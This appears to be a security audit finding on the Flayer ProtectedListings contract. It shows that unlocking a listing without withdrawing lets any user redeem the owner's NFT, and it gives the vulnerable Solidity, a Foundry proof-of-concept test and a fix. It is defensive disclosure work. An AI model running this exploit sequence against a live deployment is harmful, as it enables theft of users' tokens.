Precise Lava Starfish

High

# Users may lose their ERC721 token if they unlockProtectedListing token with _withdraw = false

## Summary
Malicious users can redeem tokens before the user withdraws the token via `withdrawProtectedListing`.

## Vulnerability Detail
When users unlock protected listing, users can choose `_withdraw = false`, this ERC721 token will be left in the ProtectedListings contracts. Users can withdraw this token via `withdrawProtectedListing`.

The problem is that when we unlock one token from the protected listing with `_withdraw = false`, this token will be removed from `_protectedListings`. Normal users can redeem this token via locker's redeem() directly. The initial owner will lose their NFT token.

```solidity
    function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
        ...
        unchecked { --listingCount[_collection]; }
@>        delete _protectedListings[_collection][_tokenId];
        if (_withdraw) {
            locker.withdrawToken(_collection, _tokenId, msg.sender);
            emit ListingAssetWithdraw(_collection, _tokenId);
        } else {
            canWithdrawAsset[_collection][_tokenId] = msg.sender;
        }
        _createCheckpoint(_collection);
    }
    function withdrawProtectedListing(address _collection, uint _tokenId) public lockerNotPaused {
        address _owner = canWithdrawAsset[_collection][_tokenId];
        if (_owner != msg.sender) revert CallerIsNotOwner(_owner);
        delete canWithdrawAsset[_collection][_tokenId];
        locker.withdrawToken(_collection, _tokenId, msg.sender);
        emit ListingAssetWithdraw(_collection, _tokenId);
    }

```
### Poc
```solidity
    function test_PocUnlock() public {
        uint _tokenId = 0;
        uint96 _tokensTaken = 0.1 ether;
        // Set the owner to one of our test users (Alice)
        address payable _owner = users[0];

        uint startBalance = payable(_owner).balance;
        // Mint our token to the _owner and approve the {Listings} contract to use it
        erc721a.mint(_owner, _tokenId);

        // Create our listing
        vm.startPrank(_owner);
        erc721a.approve(address(protectedListings), _tokenId);
        _createProtectedListing({
            _listing: IProtectedListings.CreateListing({
                collection: address(erc721a),
                tokenIds: _tokenIdToArray(_tokenId),
                listing: IProtectedListings.ProtectedListing({
                    owner: _owner,
                    tokenTaken: _tokensTaken,
                    checkpoint: 0
                })
            })
        });

        uint expectedCollateral = 1 ether - protectedListings.KEEPER_REWARD() - _tokensTaken;
        // Approve the ERC20 token to be used by the listings contract to cancel the listing
        locker.collectionToken(address(erc721a)).approve(address(protectedListings), _tokensTaken);
        protectedListings.unlockProtectedListing(address(erc721a), _tokenId, false);
        vm.stopPrank();
        address bob = vm.addr(2);
        ICollectionToken token = locker.collectionToken(address(erc721a));
        deal(address(token), bob, 10 ether);
        vm.startPrank(bob);
        token.approve(address(locker), 10 ether);
        uint[] memory tokenIds = new uint[](1);
        tokenIds[0] = 0;
        locker.redeem(address(erc721a), tokenIds);
        vm.stopPrank();
        vm.startPrank(_owner);
        protectedListings.withdrawProtectedListing(address(erc721a), 0);
        vm.stopPrank();
    }
```
## Impact
The owner may lose their NFT if they unlock protected listing with `_withdraw = false`.

## Code Snippet
https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287-L315

## Tool used
Manual Review

## Recommendation
If `_withdraw` is false, we should not delete this token from `_protectedListings`.